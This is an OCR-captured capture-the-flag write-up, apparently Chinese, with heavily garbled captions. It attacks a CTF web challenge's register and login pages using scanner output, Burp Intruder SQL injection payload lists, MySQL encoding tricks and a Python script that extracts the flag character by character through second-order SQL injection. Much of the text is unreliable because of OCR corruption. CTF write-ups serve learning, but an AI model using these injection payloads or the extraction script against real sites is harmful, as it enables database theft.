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fHsEEEE TR B By &I QQ:343034656

g4z : (http://220.249.52. 133:64304 | mEE | s |
$418: [40 o |(Z CPUBLD + SEifE) [ DIR: 446889 [] ASPX: 42529 FMjz00
[ asp: 297812 FHP: 52815 [] =403
i (¥ BRARERER) [ wmos: o1 [] Jsp: 19739 [ &l
HEER: FE=M. HELE: 0 FHEEE: 0/
1D Mk HTTPAel L
1 http 33:54304/1ogzin. php 200
2 http 33:54304/rezister. php 200
3 http: /7220, 24 33:54304/contiz. php 200
4 http: //220. 249 5 33:54304/1ozin php?+ htr 200
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[& Acunetix Web Vulnerability Scanner 10.0 (Consultant Edition)

EFI"E Actions Tools Configuration Help
iONewSean B @@ P A UEBR OB || R|2 |06

[ Tools Explorer B ) 5| de | R | Report | 2 | startuRL: [http:j220.249.52.133:5930 4 register php | Profie: |Sal_Injecton ~| B start
@{vgzvvig:: wig | Scan Results Status ily Alerts summary Gt @ |




=7 1001s
‘(3 Site Crawler
i 4 Target Finder
i, Subdomain Scanner
.4 Blind SQL Injector
.[3} HTTP Editor
&, HTTP Sniffer
i4@ HTTP Fuzzer
() Authentication Tester
-3 Compare Results
(-7 Web Services
- 142 Web Services Scanner
L4 Web Services Editor
[=-{E Configuration
i-- % Application Settings

-

=]

' @ @ Blind SQL Injection (1)

[ily web Alerts (5)

ut CSRF protection (2) Level 3: High

are sentin clear tex...

List of dient scripf
List of files with inpu
{2 Site Structure Total alerts found
=3 i Found 0 High
i (@ fonts Forbidden @ Medium
- (@D images Forbidden © Low
¥ @ javasaipts Forbidden @ informational

@ stylesheets Forbidden

M acunetix threat level

Acunetix Threat Level 3
One or more high-severity type

vulnerabilities have been discovered by

the scanner. A malicious user can
exploit these vulnerabilities and
compromise the backend database
and/or deface your website.

0 O & =

| Scan Settings (@ uploads Forbidden 7| Targetinformation  http://220.249.52,133:54304/register.php ()
-] Seanning Profiles | [g index.php =
& General i o [ statistics 3272 requests @
4@ Program Updates & © ‘ogfl'php = S )
- Potusimes- el [ reoister.php ~ Progress Scan is finished 100.00%
43P Licensing wee Variation 1 for user-agent
i8] Support Center 23 Cookies
i8] Purchase
i8] User Manual
8 AguSensor
[ Actvity Window N al
08.09 21:21. 19, [Warning] Error while executing XS5_in_URI_Folder.script on digectory "fjavascripts™ i§:% g%, In "dassXSS.inc™. Line 890, Column 65. Source: "var inputValue = A
this.origValue + "#aripté@lert(? + rndStr + “??script?;”.
08.09 21:21.20, [Warning] Error while executing XSS_in_URI_Folder.script on directory “fjavascripts/sideout™ i534 i, In “dassXS5.inc”. Line 890, Column 65. Source: “var
inputvValue = this.origvalue + "#cripté@lert(? + rndStr + "22script?;”
v
Application Log  Error Log
Ready | 4
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% Intruder attack 1 e m]
Attack Save Columns
JResuIts I Target l Positions [ Payloads [ Options }
‘Filter: Showing all items ‘@
Request ‘Payload |Status Error Timeout | Length v| Comment
103 %20'sleep%2050' 200 O O 2305 [
106 'sqlattempt1 200 O O 2305
131 a' or 3=3-- 200 ] ] 2305
133 "or 3=3 200 O O 2305 )
58 @variable 200 O [ O Jee2
0 302 O O 952
3 "a" or 1=1--" 302 O O 952
4 ora=a 302 O O 952
5 a'or'a'="a 302 O O 952
6 1or1=1 302 O O 952
9 declare @g nvarchar (200) select... 302 O O 952
10 declare @s varchar(200) select ... 302 O O 952 !
Request | Response
j Raw I Params I Headers | Hex
POST /register.php HTTP/1.1 B
Host: 220.249.52.133:54304
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html application/xhtml+xml application/xml;q=0.9,*/*,q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55 %
Beferer: http:{/Z 20.249.52.133:54304/register.php i
BRI TEEZK
% Intruder attack 1 — O

Attack Save Columns

J Results I Target I Positions [ Payloads [ Options }
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[T1S1. QUUwWIng i neins NE/

Request Payload Status Error Timeout  Length | Comment

1 ' 200 O O 2305 q
2 a' or 1=1-- 200 O O 2305 )
7 a' waitfor delay '0:0:10'-- 200 O O 2305

8 1 waitfor delay '0:0:10'-- 200 O O 2305

13 a' 200 O O 2305

15 "or 1=1 200 O O 2305

17 X' AND userid 1S NULL; -- 200 =] =] 2305

18 %' AND email IS NULL; -- 200 O O 2305

20 X' AND 1=(SELECT COUNT(*) F... 200 O O 2305

21 X' AND members.email IS NULL; -- 200 O O 2305

22 x' OR full_name LIKE '%Bob% 200 O O 2305

24 '; exec master..xp_cmdshell 'ping ... 200 0] 0] 2305

25 ! 200 ] ] 2305 F

Request | Response ]

Raw | Params IHeaders [E]

POST /register. php HTTP/1.1

Host: 220.249.52.133:54304

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/htmlapplication/xhtml+xmlapplication/xmlg=0.9,*/*,q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;,q=0.3

Accept-Encoding; gzip, deflate

Content-Type: application/x-www-form-urlencoded

Referer: http://220.249.52.133:54304 /register.php

Jr

Content-Length: 55 f

Connection: close
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@ i‘ l;| &‘ Type a search term 0 matches
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Finished |
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A BAT A F sqimaphe
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[©v] SQLMap
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insert into tables value('$email’, '$username’, '$passwpord');

BRHEIEER:

SELECT * FROM tables WHERE email = ''$email";

X BLE M RORTHEAE T BR&I, B CABRA E WX A T vEABE
A ZRFEEM B & AT A .
P 44 4b 3 group_concat(1,database()),database’, "1 )#

g SRR [m]
nnnnoooo! !'!

g,

# Intruder attack 1

Attack Save Columns

J Results I Target I Positions [ Payloads [ Options }

‘Filter: Showing all items ‘@
Request ‘Payload |Status Error Timeout | Length v| Comment

120 & 302 O O 952 k|
121 %26 302 O O 952

122 ! 302 O O 952

123 %21 302 =] =] 952

124 ‘or1=1or"=' 302 O O 952

125 ‘or"=' 302 O O 952

126 X or 1=1 or 'x'="y 302 O O 952

127 / 302 O O 952

128 " 302 O O 952

129 i 302 =] =] 952

130 ** 302 O O 952

132 "a™ or 3=3--" 302 O O 952

134 y or 3=3 -- 302 O O 952 9

Request | Response

jRaw I Headers | Hex | HTML [ Render ]

<title>CTF</title> T
<meta name="apple-mobile-web-app-capable” content="yes">
<meta name="viewport"
content="width=device-width height=device-height initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />
<meta name="format-detection” content="telephone=no, email=no">
<link rel="stylesheet" href="./stylesheets/flaticon.css" />
<link rel="stylesheet” href="/stylesheets/style.css’ />

</head>

<body>

nnnnoooo!!! f/
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Finished | DS
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email: 123@123.com

username: 1' and '@

password: 123
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SHAREBESAHE, MySQLF, +(In8)RE—Athee: BEF.
WRMSEHEFE LR, Bamysqt SIEZRFED RN, thinselect 1"+ 1a" ;458 82, it BphpZil,

THE LT .

mysql> select

set, 1 warning (0.00 sec
select database

database

1 row set (0.00 sec

ADVHBM T, Bt E 6, Rj5ascimiy.



mysgl> select ascii(substr(database(),1,1));

ascii(substr(database(),1,1))
100
set (0.00 sec)
select ascii(substr(database(),2,1));
ascii(substr(database(),2,1))
118
1 row set (0.00 sec)
DL, ERIESHITIE, BEA. G from. . for... fRE.
mysgql> select ascii(substr(database() from 1 for 1));
ascii(substr(database() from 1 for 1))
100
set (0.00 sec)

select ascii(substr((database()) from 2 for 1));

ascii(substr((database()) from 2 for 1))

118

1 row set (0.00 sec)
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select bin(

set (0.00 sec)

select oct(

set (0.00 sec)

select hex(

64767761

1 row set (0.00 sec)

UEER, A+ SR,
ERNXHR—AE, WmRTNEGFEBERTRHEETRE, BB TamfieERTH.

mysql> select hex(

hex (

647677617B7D

1 row set (0.00 sec)

mysql> select hex(

hex(

647677617

1 row set (0.00 sec)
BT DA 75 ZEAE AT — IR 75 ik .

mysql> select hex(hex(

hex(hex( ))

363636433631363737423744

1 row set (0.00 sec)

mysql> select hex(hex(

hex (hex ( ))

3.636364336313637e23

1 row set (0.00 sec)
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mysql> select substr(hex(hex( )) from 1 for 10)
substr(hex(hex( )) from 1 for 10)
3634373637
1 row set (0.00 sec)
mysql> select substr(hex(hex( )) from 11 for 10)
substr(hex(hex( )) from 11 for 10)
3736313742
1 row set (0.00 sec)
mysql> select substr(hex(hex( )) from 21 for 10)

substr(hex(hex( )) from 21 for 10)

1 row set (0.00 sec)

mysql> select unhex(unhex(363437363737363137423744));

unhex (unhex(363437363737363137423744))

dvwa{}

1 row set (0.11 sec)
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for i in (1, 100):
register_data {

1
J
res requests.post(url=register_url, data=register_data)

login_data

1

J

res_ requests.post(url=login_url, data=login_data)

code re.search(r , res_.text)

print( ( (code.group(1))), end

File Edit View Navigate Code Refactor Run Tools VCS Window Help python%3.py [D:\Users\12100\AppData\Local\Temp\python*=.py] - C:\Users\12100\Desktop\python==.py - PyCharm - X
(<3 Users 12100 Desktop | (= pythonZ3 py python¥3 ~ b # Q
3 Project v © T | @ — japython®3.py
L.\E.I python%3.py 1 import requests <
_ [ 2 import re
3
4
5 register_url = "http://220.249.52.133:543@4/register.php’
6 login_url = 'http://220.249.52.133:54304/login.php’ m
7
8
9 for i in range(1, 100):
register_data = {
"email': '111@123.comX%d’ % i,
'username': "@' + ascii(substr((select * from flag) from %d for 1)) + '0@" % i,
"password’': 'admin'’
}
res = requests.post(url=register_url, data=register_data)
Run: pythons3 o —
> D:\P on38\python3.exe C:/Users/121@@/Desktop/pythonZ3.py
K flag{2494e4bf06734c39be2e1626f757basc}
_%E = @ Process finished with exit code -1
i ®
=
g [
i © PyCharm 2019.3.5 available
a Update...
8 Terminal % Python Console B 4:Run  i= 6:TODO ) Event Log

[0 PyCharm 2019.3.5 available: // Update... (a minute ago) 41 CRLF GBK 4spaces M &
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